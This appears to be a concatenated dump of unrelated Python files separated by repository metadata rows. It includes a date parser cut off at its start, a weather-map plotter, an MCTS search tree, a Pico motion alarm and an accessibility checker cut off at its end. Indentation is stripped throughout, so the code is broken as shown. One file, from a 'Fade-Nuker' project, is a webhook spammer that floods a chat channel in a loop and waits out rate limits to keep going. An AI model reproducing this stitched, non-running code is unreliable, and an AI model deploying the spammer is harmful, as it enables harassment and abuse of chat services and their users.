elif re.search("19\\d\\d/\\d\\d-20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1].split("/")[0]
fourthYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/19" , secondYear, "-" , thirdYear, "/20" , fourthYear, sep="")
elif re.search("18\\d\\d-18\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[1].split("/")[0]
thirdYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-", secondYear, "/18" , thirdYear, sep="")
elif re.search("18\\d\\d-19\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[1].split("/")[0]
thirdYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-" , secondYear, "/19" , thirdYear, sep="")
elif re.search("19\\d\\d-19\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[1].split("/")[0]
thirdYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-" , secondYear, "/19" , thirdYear, sep="")
elif re.search("20\\d\\d-20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[1].split("/")[0]
thirdYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-" , secondYear, "/20" , thirdYear, sep="")
elif re.search("19\\d\\d-20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[1].split("/")[0]
thirdYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-" , secondYear, "/20" , thirdYear, sep="")
elif re.search("18\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/18" , secondYear, sep="")
elif re.search("19\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/19" ,secondYear, sep="")
elif re.search("20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/20" , secondYear , sep="")
##
elif re.search("18\\d\\d/18\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("xDone, " , mfhd, ", " ,firstYear, "-18", secondYear, sep="")
elif re.search("18\\d\\d/19\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-19" , secondYear, sep="")
elif re.search("19\\d\\d/19\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-19" , secondYear, sep="")
elif re.search("19\\d\\d/20\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-20" , secondYear, sep="")
elif re.search("20\\d\\d-20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-20" , secondYear, sep="")
elif re.search("18\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-18" , secondYear, sep="")
elif re.search("19\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-19" ,secondYear, sep="")
elif re.search("20\\d\\d-\\d\\d$", m2):
firstYear = m2.split("-")[0]
secondYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "-20" , secondYear , sep="")
elif re.search("18\\d\\d/\\d\\d-18\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" , firstYear, "/18" , secondYear, "-" , thirdYear, sep="")
elif re.search("18\\d\\d/\\d\\d-19\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" , firstYear, "/18" , secondYear, "-" , thirdYear, sep="")
elif re.search("19\\d\\d/\\d\\d-19\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/19" , secondYear, "-" , thirdYear, sep="")
elif re.search("19\\d\\d/\\d\\d-20\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/19" , secondYear, "-" , thirdYear, sep="")
elif re.search("20\\d\\d/\\d\\d-20\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/20" , secondYear, "-" , thirdYear, sep="")
elif re.search("18\\d\\d/\\d\\d-\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/18", secondYear, "-18" , thirdYear, sep="")
elif re.search("19\\d\\d/\\d\\d-\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" , firstYear, "/19" , secondYear, "-19" , thirdYear, sep="")
elif re.search("20\\d\\d/\\d\\d-\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/20" , secondYear, "-20" , thirdYear, sep="")
else:
print ("Done| " , mfhd, "|" , m2, sep="")
| [
"[email protected]"
] | |
34cbcfc781d43e841f091e6cf455e8bd452a527b | 65098d9d8fba08175d9756386ba8507f8d4fc327 | /mesonet/Barbs.py | 25d2f6c13983a1bb8ce126d01cc8cabda44acf9e | [] | no_license | keltonhalbert/SLS2012 | a23c55455c0655e7af3ef303b559972c4f36e848 | 316d94407f4597fce576054ec0b25ec01ce55c23 | refs/heads/master | 2020-05-22T14:11:46.256178 | 2013-03-10T21:41:49 | 2013-03-10T21:41:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,936 | py | #AWIDS - Advanced Weather Interactive Diagnostic System
#(c) <2012> Kelton Halbert
#Non-commercial license clause can be waived with written permission by the author. Contact Kelton Halbert <[email protected]> for permission to use commercially.
#This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/3.0/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA.
import numpy as np
from Projection import Projection as proj
import gridmaker
import sys
import os
class PlotBarbs( object ):
def __init__( self, **kwargs ):
self.StationDict = kwargs.get( 'StationDict', np.load( os.path.join( os.path.dirname(__file__), 'stations.npz' ) ) )
self.area = kwargs.get( 'area', 'CONUS' )
self.DataDict = kwargs.get( 'DatDict' )
pmap = proj( area=self.area )
self.m = pmap.proj()
def StnBarbs( self ):
StationIDs = self.StationDict.keys()
U = []
V = []
barblons = []
barblats = []
for stn in self.DataDict.keys():
u = self.DataDict[ stn ][ 'UWIN' ]
v = self.DataDict[ stn ][ 'VWIN' ]
if u == '-999.99' or v == '-999.99':
continue
if not stn in self.StationDict.keys(): continue
lon_lat_tuple = self.StationDict[ stn ]
barblons.append( lon_lat_tuple[0] )
barblats.append( lon_lat_tuple[-1] )
U.append( u )
V.append( v )
bx, by = self.m( barblons, barblats )
return self.m.barbs( bx, by, U, V, fill_empty=False, length=5.7 )
def GridBarbs( self ):
gmaker = gridmaker.GRIDMAKER( datdict=self.DataDict, area=self.area, StationDict=self.StationDict )
u = gmaker.grid( datatype='UWIN' )
v = gmaker.grid( datatype='VWIN' )
return self.m.barbs( u[0], u[1], u[2], v[2], fill_empty=False, length=5.7 )
| [
"[email protected]"
] | |
087b745671b0823ede41c1b348f52ec1d0ff9731 | 0fe6e84c32a88fc1b3999411772366e2b3fafe11 | /Fade-Nuker/util/webhookspammer.py | d44a6b1937e8dd053186c4148ead6c8796b3aae1 | [] | no_license | Fishy0608/Fishy0608 | e3ca4f308ef54f66030829f92afd9c7360e10207 | 95657e91a5a16027f7b3f80306ca68b15831e029 | refs/heads/main | 2023-08-23T22:45:17.898383 | 2021-10-13T15:27:47 | 2021-10-13T15:27:47 | 416,789,861 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,372 | py | # Fade was proudly coded by Rdimo (https://github.com/Rdimo).
# Fade Nuker under the GNU General Public Liscense v2 (1991).
import requests
import json
import time
import Fade
from time import sleep
from colorama import Fore
from util.plugins.common import clear, print_slow, getheaders, THIS_VERSION
def WebhookSpammer(WebHook, Message, Timer):
#get the amount of time to spam
timeout = time.time() * float(Timer) + 1
#spam the webhook with the message
while time.time() < timeout:
response = requests.post(
WebHook,
json = {"content" : Message},
params = {'wait' : True}
)
#check if the status got sent or if it got rate limited
if response.status_code == 204 or response.status_code == 200:
print(f"{Fore.GREEN}Message sent{Fore.RESET}")
elif response.status_code == 429:
print(f"{Fore.YELLOW}Rate limited ({response.json()['retry_after']}ms){Fore.RESET}")
#if we got ratelimited, pause untill the rate limit is over
sleep(response.json()["retry_after"] / 1000)
else:
print(f"{Fore.RED}Error : {response.status_code}{Fore.RESET}")
sleep(.01)
print_slow(f'{Fore.RED}Spammed Webhook Succesfully!{Fore.RESET} ')
print("Enter anything to continue. . . ", end="")
input()
Fade.main() | [
"[email protected]"
] | |
f3175c392f2de8409d3bb85f9e14bfc498b1f196 | 949193cc1509be3abfb06bd866a609aa440cf555 | /A.py | f81c36d9f3ea2c6416d3dc50583e71f8b3738288 | [] | no_license | LordWader/Mail.Ru-Cup-2018-Round-0 | 66ffe7afc89a618d9250b63951cf71fc1c7b4fd2 | d06e6db94acc3377bd313dadfc582dbfae330f5a | refs/heads/master | 2020-04-03T22:44:31.521594 | 2018-10-31T19:13:25 | 2018-10-31T19:13:25 | 155,608,416 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,899 | py | """
Once upon a time there was only one router in the well-known company Bmail. Years went by and over time new routers were purchased.
Every time they bought a new router, they connected it to one of the routers bought before it.
You are given the values pi — the index of the router to which the i-th router was connected after being purchased (pi<i).
There are nn routers in Boogle in total now. Print the sequence of routers on the path from the first to the nn-th router.
Input
The first line contains integer number n (2≤n≤200000) — the number of the routers.
The following line contains n−1 integers p2,p3,…,pn (1≤pi<i), where pi is equal to index of the router to
which the i-th was connected after purchase.
Output
Print the path from the 1-st to the n-th router. It starts with 1 and ends with n.
All the elements in the path should be distinct.
"""
import sys
from collections import deque
input = sys.stdin.readline
out = sys.stdout
def main():
n = int(input())
a = list(map(int, input().split()))
graph = {i + 1:set() for i in range(n)}
for i in range(n - 1):
graph[a[i]].add(i + 2)
graph[i + 2].add(a[i])
start_vertex = 1
end_vertex = n
distances = [None]*(n + 1)
parents = [None]*(n + 1)
distances[start_vertex] = 0
queue = deque([start_vertex])
while queue:
cur_v = queue.popleft()
for neigh_v in graph[cur_v]:
if distances[neigh_v] is None:
parents[neigh_v] = cur_v
distances[neigh_v] = distances[cur_v] + 1
queue.append(neigh_v)
path = [end_vertex]
parent = parents[end_vertex]
while not parent is None:
path.append(parent)
parent = parents[parent]
for p in path[::-1]:
out.write(str(p) + ' ')
if __name__=="__main__":
main()
| [
"[email protected]"
] | |
2728efc29b316074b156e706311b1c763f7d918c | ed9244a947d53fc64e60d1d5ce7cb9391893bedb | /new.py | 41fb0f7e5539ccbc9c5927e81dcb787213c5edbd | [] | no_license | guobiaoli/testGit | 93ee3dee3050ab379050aed69d08751020cb2ea6 | 48b1ff2fcbe50811fd5c5586c493b606533749da | refs/heads/master | 2020-03-17T12:03:58.154428 | 2020-03-04T02:04:47 | 2020-03-04T02:04:47 | 133,573,076 | 0 | 0 | null | 2020-03-03T03:16:13 | 2018-05-15T21:03:27 | Python | UTF-8 | Python | false | false | 110 | py | def minus(x):
x = int(x)
return x-1
def find(x):
return str(x)+"find"
#done
def multiply(x):
return x*x
| [
"[email protected]"
] | |
871b11e87ca533aeab679405ce4f7dd64a7567f6 | f8e69a30aa6a67c8b1182d731f8cf078dc5efab3 | /file_init.py | e37d5e82327fcf6bd0773c32d283163ffa73ede0 | [] | no_license | scrums/iole-python | d72cdccc489b4684af6d4642057b999c775bcbf0 | 36977ef69533c5aacf25941e314ae2f04ac3ddb2 | refs/heads/master | 2021-07-20T10:13:32.207076 | 2017-10-29T17:50:48 | 2017-10-29T17:50:48 | 108,696,035 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 873 | py |
# This file is meant take in a csv and parse it into a string
import hash_generator
def run(argv, func):
address = argv # set address to be the first parameter
# should not execute if file address is not a valid one
valid = False
try:
csv = open(address, 'r')
valid = True
except IOError:
print("File does not exist; ")
valid = False
if not valid or not address.endswith(".csv"):
print("Invalid file")
exit(1)
str_csv = ""
for line in csv:
str_csv += line
# check which operation was selected
# if func == '1':
return hash_generator.run(str_csv, func)
# elif func == '2':
# print("Not yet") # will later return the result from linear regression
# else:
# print("Invalid argument, expected 1(Pairing) or 2(Expected Outcome)")
# exit(1)
| [
"[email protected]"
] | |
104e9bc0543117b6eb82b47248a749f77fab83d1 | 83de24182a7af33c43ee340b57755e73275149ae | /aliyun-python-sdk-pairecservice/aliyunsdkpairecservice/request/v20221213/DeleteLayerRequest.py | 047ef7f9689d1d364da32d28184141fb4ce4c549 | [
"Apache-2.0"
] | permissive | aliyun/aliyun-openapi-python-sdk | 4436ca6c57190ceadbc80f0b1c35b1ab13c00c7f | 83fd547946fd6772cf26f338d9653f4316c81d3c | refs/heads/master | 2023-08-04T12:32:57.028821 | 2023-08-04T06:00:29 | 2023-08-04T06:00:29 | 39,558,861 | 1,080 | 721 | NOASSERTION | 2023-09-14T08:51:06 | 2015-07-23T09:39:45 | Python | UTF-8 | Python | false | false | 1,418 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from aliyunsdkcore.request import RoaRequest
class DeleteLayerRequest(RoaRequest):
def __init__(self):
RoaRequest.__init__(self, 'PaiRecService', '2022-12-13', 'DeleteLayer')
self.set_uri_pattern('/api/v1/layers/[LayerId]')
self.set_method('DELETE')
def get_LayerId(self): # String
return self.get_path_params().get('LayerId')
def set_LayerId(self, LayerId): # String
self.add_path_param('LayerId', LayerId)
def get_InstanceId(self): # String
return self.get_query_params().get('InstanceId')
def set_InstanceId(self, InstanceId): # String
self.add_query_param('InstanceId', InstanceId)
| [
"[email protected]"
] | |
404b49a289c48e0e4006eaf4c4808886b5602915 | e07b403d751832afab2b68381773746c5d1a303c | /mcts/tree.py | 709108f647d6c08cfc2120ad978a7ed60068becb | [] | no_license | Enderdead/Diaballik-AI | aa65ea6282a0830b9b03246257f7da4db1122d58 | f5d488a57c64757d90b29207773f80f63bc95a24 | refs/heads/master | 2020-04-13T16:42:08.385536 | 2019-01-02T21:29:29 | 2019-01-02T21:29:29 | 163,328,074 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,100 | py |
from math import inf, sqrt, log, isinf
from random import choice
from copy import deepcopy
class Node:
"""
Classe support pour représenter les noeuds de l'arbre.
Un noeud contient une action à executer AVANT de rentrer dans ce noeud (poser son pointeur dessus)
"""
def __init__(self, action, parent, player):
"""
Constructeur de Node
param:
action: Action à stoquer dans ce noeud.
parent: Noeud parent à ce noeud.
player: Joueur courant de ce noeud. (pas utilisé)
"""
self.action = action
self.player = player
self.parent = parent
self.childrens = None
self.nb_visit = 0
self.total_score = 0
def getChildren(self, cur_board):
"""
Cette méthode permet de récupérer une liste des fils de ce noeud. Si c'est le premier appel alors elle va
utiliser le cur_board pour générer les fils avant de les retourner.
param :
cur_board : Board à utiliser pour générer les fils si nécéssaire.
return :
Une liste des Node fils.
"""
if self.childrens is None:
next_player = self.player
if cur_board.state[0]==2:
next_player = (next_player+1)%2
self.childrens = [Node(action, self, next_player) for action in cur_board.getActions()]
return self.childrens
def apply(self, board):
"""
Permet d'appliquer l'action stockée.
param :
board: Board à utiliser
"""
self.action.do(board=board)
def rollback(self, board):
"""
Permet d'annuler l'action stockée sur ce noeud.
board: Board à utiliser
"""
self.action.undo(board=board)
def __repr__(self):
return "< Node s:"+ str(self.total_score)+" n:"+ str(self.nb_visit) +" act: " + str(self.action)+"at "+ hex(id(self))+">"
class Tree:
"""
Classe support pour effectuer le parcourt d'arbre.
On notera que cet objet est jetable. (CAD cet objet ne fait q'une seule recherche)
"""
def __init__(self, init_board, ia, side):
# TODO il faut prendre plus en compte les tours (CAD les tours intermédiaires).
"""
Constructeur de Tree
param:
init_board: Board inital pour la recherche
ia : Ia à utiliser pour faire le parcourt d'arbre et la valuation
side: joueur qui à la main.
"""
self.N = 0
self.init_board = deepcopy(init_board)
self.root = Node(None, None, 0)
self.ia = ia
self.side = side # 1 = j1 | -1 = j2
def compute(self):
"""
Méthode principal permettant de réaliser une itération de l'algorithme.
Les méthodes de résultat sont appelables après le premier appel de compute()
"""
cur_node = self.root
cur_board = deepcopy(self.init_board)
# On cherche le noeud a explorer
while cur_node.nb_visit!=0:
childrens = cur_node.getChildren(cur_board)
actions = [children.action for children in childrens]
probas, _ = self.ia.eval(cur_board.get_board_raw(), cur_board.get_actions_board_raw(actions))
weights = [0 for children in childrens]
for i in range(len(childrens)):
try:
weights[i] = self.side*childrens[i].total_score/childrens[i].nb_visit + probas[i]*sqrt(2) * sqrt(cur_node.nb_visit)/ (1+childrens[i].nb_visit)
#weights[i] = childrens[i].total_score/childrens[i].nb_visit + sqrt(2) * sqrt(log(cur_node.nb_visit)/childrens[i].nb_visit)
except ZeroDivisionError:
weights[i] = inf
if max(weights) == inf:
cur_node = childrens[choice(list(filter(lambda index: isinf(weights[index]), range(len(weights)))))]
else:
cur_node = childrens[weights.index(max(weights))]
#print(childrens)
cur_node.apply(cur_board)
#TODO ce score n'est pas -1 ou 1 mais [-1,1]
score = self.ia.get_score(cur_board.get_board_raw())
#ROOL BACK
while not cur_node is None:
cur_node.nb_visit+=1
cur_node.total_score+=score
cur_node = cur_node.parent
def get_best(self):
"""
Retourne la meilleur action à faire à partir de la sitation donnée dans le constructeur
"""
return max(self.root.childrens, key=lambda element: self.side*element.total_score/element.nb_visit).action
def do_best(self, board):
"""
Applique la meilleur action à faire à partir de la sitation donnée dans le constructeur sur board
param:
board: Board à utiliser pour appliquer la meilleur action trouvée.
"""
action = max(self.root.childrens, key=lambda element:self.side*element.total_score/element.nb_visit).action
action.do(board=board)
| [
"[email protected]"
] | |
91c84e2f6398f7bf1872b557216d1363db43f6cb | 02679536b17715d23da027a2d9be725065d712ac | /ch07/fig07-03_hc-sr501-pir-led-buzzer.py | c44948f94078d59226b656af3c9f99785237de02 | [] | no_license | ricelee-com/pico-starter-kit | bfeffe2da67e12d33098edc39008697a421e4f77 | f8286fab0bdd868e8fbe9def1dae23bd5d88215c | refs/heads/master | 2023-03-26T11:38:16.914362 | 2021-03-25T01:16:08 | 2021-03-25T01:16:08 | 350,273,575 | 0 | 5 | null | null | null | null | UTF-8 | Python | false | false | 848 | py | #!/usr/bin/python3
#+-+-+-+-+-+-+-+-+-+-+-+
#|R|i|c|e|L|e|e|.|c|o|m|
#+-+-+-+-+-+-+-+-+-+-+-+
# Copyright (c) 2021, ricelee.com
# All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
#
# Origin: p87 at https://hackspace.raspberrypi.org/books/micropython-pico
import machine
import utime
sensor_pir = machine.Pin(28, machine.Pin.IN, machine.Pin.PULL_DOWN)
led = machine.Pin(15, machine.Pin.OUT)
buzzer = machine.Pin(14, machine.Pin.OUT)
def pir_handler(pin):
utime.sleep_ms(100)
if pin.value():
print("ALARM! Motion detected!")
for i in range(50):
led.toggle()
buzzer.toggle()
utime.sleep_ms(100)
sensor_pir.irq(trigger=machine.Pin.IRQ_RISING, handler=pir_handler)
while True:
led.toggle()
utime.sleep(5)
| [
"[email protected]"
] | |
1df42c7213472089c20b1b1e782275ef56ce1d26 | 6f6e8a98c8e03f24f4a1de9c39fb79038b0dfe20 | /TimeDelta.py | 36a18b2333a1d092b0837ba14539e3d5ecef3226 | [] | no_license | SalihTasdelen/Hackerrank_Python | f5b9714b407bf691a7c5081db2a952551be3af43 | d7ed77e086c54304f136cdde41a235043b56bddf | refs/heads/master | 2022-11-21T04:00:16.609036 | 2020-07-19T15:08:04 | 2020-07-19T15:08:04 | 271,104,336 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 604 | py | #!/bin/python3
import math
import os
import random
import re
import sys
from datetime import datetime
# Complete the time_delta function below.
def time_delta(t1, t2):
fmt = "%a %d %b %Y %H:%M:%S %z"
date1 = datetime.strptime(t1, fmt)
date2 = datetime.strptime(t2, fmt)
return str(int(abs((date1 - date2).total_seconds())))
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH'], 'w')
t = int(input())
for t_itr in range(t):
t1 = input()
t2 = input()
delta = time_delta(t1, t2)
fptr.write(delta + '\n')
fptr.close()
| [
"[email protected]"
] | |
b8759d5b10ef528095ce081cbf70c3ca4a0e7aa2 | 0d12e5f99d99b30d8a927240ee26af3d64bd7f99 | /checker.py | 1199191d224594cd1df6bdbe36688ec587978ef8 | [
"MIT"
] | permissive | bertacsevercan/accessibility-checker | fbbdca45b61f74b41c613d4d532aecfee3f7cf4e | d32b55d07c7bcc0314f6a8d6a8f419d0004e9ad7 | refs/heads/main | 2023-04-29T05:02:11.525641 | 2021-05-20T16:45:50 | 2021-05-20T16:45:50 | 354,124,108 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,252 | py | import requests
import argparse
import csv
import sys
import traceback
from os import mkdir
from re import search
from bs4 import BeautifulSoup
from termcolor import colored, cprint
description = "This program checks the given website's accessibility \
provided by the W3C guidelines and outputs a score from 0-100. Note that, this is not a definite tool for checking accessibility \
therefore the results should be treated as suggestions. Also, this program doesn't check \
WAI-ARIA attributes, it checks for other HTML semantics. \
Sources: https://www.w3.org/WAI/WCAG21/quickref/?showtechniques=121#identify-input-purpose, https://developer.mozilla.org/en-US/docs/Web/Accessibility"
# parser for CLI commands
parser = argparse.ArgumentParser(description=description)
parser.add_argument("url", help="enter the website url.")
parser.add_argument("-n", "--name", help="enter the name of the website.")
parser.add_argument("-s", "--short", action="store_true", help="show a short version of the result with highlights.")
parser.add_argument("-o", "--score", action="store_true", help="show only the score.")
parser.add_argument("-c", "--csv", action="store_true", help="write the scores as csv.")
args = parser.parse_args()
uni_test_url = "https://www.bilgi.edu.tr/tr/"
img_test_url = "https://mdn.github.io/learning-area/accessibility/html/accessible-image.html"
e_commerce_test = "https://www.gittigidiyor.com"
bad_table_test_url = "https://mdn.github.io/learning-area/accessibility/html/bad-table.html"
good_table_test_url = "https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html"
a_test_url = "https://mdn.github.io/learning-area/accessibility/html/bad-links.html"
bad_semantics_test_url = "https://mdn.github.io/learning-area/accessibility/html/bad-semantics.html"
good_semantics_test_url = "https://mdn.github.io/learning-area/accessibility/html/good-semantics.html"
bad_form_test_url = "https://mdn.github.io/learning-area/accessibility/html/bad-form.html"
good_form_test_url = "https://mdn.github.io/learning-area/accessibility/html/good-form.html"
session = requests.Session() # for faster fetch
# header is to show the program as a device when requesting
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
request = None
try:
request = session.get(args.url, headers=headers)
# raise and handle http errors
request.raise_for_status()
except requests.exceptions.HTTPError as err:
raise SystemExit(err)
soup = BeautifulSoup(request.content, "html.parser")
score = 100 # initial score of the website
title = ""
c_success = "green"
c_danger = "red"
c_warning = "yellow"
c_primary = "blue"
c_secondary = "cyan"
c_alert = "magenta"
checklist = {
"has_issue_headings": False, "has_issue_regions": False, "has_issue_image": False, "has_issue_anchor": False,
"has_issue_table": False, "has_issue_form": False, "has_issue_lang": False, "has_issue_title": False
}
# not checking for wai-aria attrs
def check_heading_tags():
global score
h1 = soup.find("h1") is None
h2 = soup.find("h2") is None
h3 = soup.find("h3") is None
h4 = soup.find("h4") is None
h5 = soup.find("h5") is None
h6 = soup.find("h6") is None
if h1 and h2 and h3 and h4 and h5 and h6:
score -= 10
checklist["has_issue_headings"] = True
if not args.score:
cprint("The page has no headings!\n", c_danger, end="")
cprint("Headings (<h1>-<h6>) provide important document structure and helps assistive technology users.\n",
c_success)
def check_page_regions():
global score
header = soup.find("header") is None
nav = soup.find("nav") is None
main = soup.find("main") is None
footer = soup.find("footer") is None
aside = soup.find("aside") is None
if header and nav and main and footer and aside:
score -= 10
checklist["has_issue_regions"] = True
if args.score:
cprint("The page has no regions!\n", c_danger, end="")
cprint(
"Mark up different regions of the web page, so that they can be identified by web browsers and assistive technologies.\n",
c_success)
def check_img_tag():
global score
all_img = soup.find_all("img")
if all_img:
missing_alts = []
missing_titles = []
empty_alts = []
for tag in all_img:
attrs_keys = tag.attrs.keys()
if "alt" not in attrs_keys: # check if all img tags contain alt attr
score -= 1
checklist["has_issue_image"] = True
missing_alts.append(str(tag))
elif tag["alt"] == "":
score -= 1
checklist["has_issue_image"] = True
empty_alts.append(str(tag))
if "title" not in attrs_keys:
score -= 1
checklist["has_issue_image"] = True
missing_titles.append(str(tag))
if not args.score:
if missing_alts:
cprint("These img tags are missing 'alt' attribute:\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_alts))
cprint("It's recommended to add 'alt' attribute to increase accessibility.", c_success)
if missing_titles:
cprint("These img tags are missing 'title' attribute:\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_titles))
cprint("Consider adding a title attribute to increase accessibility.", c_success)
if empty_alts:
cprint("These img tags have empty 'alt' attribute:\n", c_danger, end=" ")
None if args.short else print("\n ".join(empty_alts))
cprint("This is okay if you are using the images for decorative purposes."
"\nHowever, if possible it's recommended to use CSS to display images that are only decorative.",
c_success)
def check_a_tag():
global score
all_a = soup.find_all("a")
missing_hrefs = []
new_windows = []
bad_links = []
if all_a:
for tag in all_a:
attrs_keys = tag.attrs.keys()
if "href" in attrs_keys:
if tag["href"] == "#":
score -= 1
checklist["has_issue_anchor"] = True
missing_hrefs.append(str(tag))
elif "target" in attrs_keys and tag["target"] == "_blank":
new_windows.append(str(tag))
if tag.string and "click here" in tag.string:
score -= 1
checklist["has_issue_anchor"] = True
bad_links.append(str(tag))
if not args.score:
if missing_hrefs:
cprint("These anchor tags' href attributes are '#':\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_hrefs))
cprint("If you are not using anchor tags for navigation consider using a button instead.", c_success)
if new_windows:
cprint(
"These anchor tags are redirecting to a new page:\n", c_warning, end=" ")
None if args.short else print("\n ".join(new_windows))
cprint("Consider adding an explanation to the content such as: '(opens in a new window)'.", c_success)
if bad_links:
cprint(
"These anchor tags contain non-descriptive content message such as: 'click here':\n", c_warning,
end=" ")
None if args.short else print("\n ".join(bad_links))
cprint(
"Make sure your links' content messages make sense out of context, read on their own, as well as in the context of the paragraph they are in.",
c_success)
def check_table_tag():
global score
all_table = soup.find_all("table") # list(map(lambda x: x.contents, soup.find_all("table")))
missing_ths = []
missing_captions = []
missing_scopes = []
for table in all_table:
if table.th is None:
score -= 1
checklist["has_issue_table"] = True
missing_ths.append(str(table))
elif table.th is not None:
for th in table.find_all("th"):
attrs_keys = th.attrs.keys()
if "scope" not in attrs_keys:
score -= 1
checklist["has_issue_table"] = True
missing_scopes.append(str(th))
if table.caption is None:
score -= 1
checklist["has_issue_table"] = True
missing_captions.append(str(table))
if not args.score:
if missing_ths:
cprint("These table tags are missing 'th' child tag:\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_ths))
cprint("'th' tag helps screen readers to identify table content better.", c_success)
if missing_captions:
cprint("These table tags are missing 'caption' child tag:\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_captions))
cprint(
"Captions act as alt text for a table, giving a screen reader user a useful quick summary of the table's contents.",
c_success)
if missing_scopes:
cprint("These th tags are missing 'scope' attribute:\n", c_danger, end=" ")
None if args.short else print("\n ".join(missing_scopes))
cprint("Scopes help a screen reader user to associate rows or columns together as groupings of csv.",
c_success)
def check_form_tag(): # decrease score according to input numbers for labels.
global score
all_form = soup.find_all("form")
missing_labels = []
labels = []
inputs = []
mismatch_labels = []
mismatch_inputs = []
for form in all_form:
if form.label is None:
score -= 1
checklist["has_issue_form"] = True
form_split = str(form).split("\n")
opening_tag = form_split[0]
closing_tag = form_split[len(form_split) - 1]
missing_labels.append(f"{opening_tag} ... {closing_tag}")
elif form.label is not None:
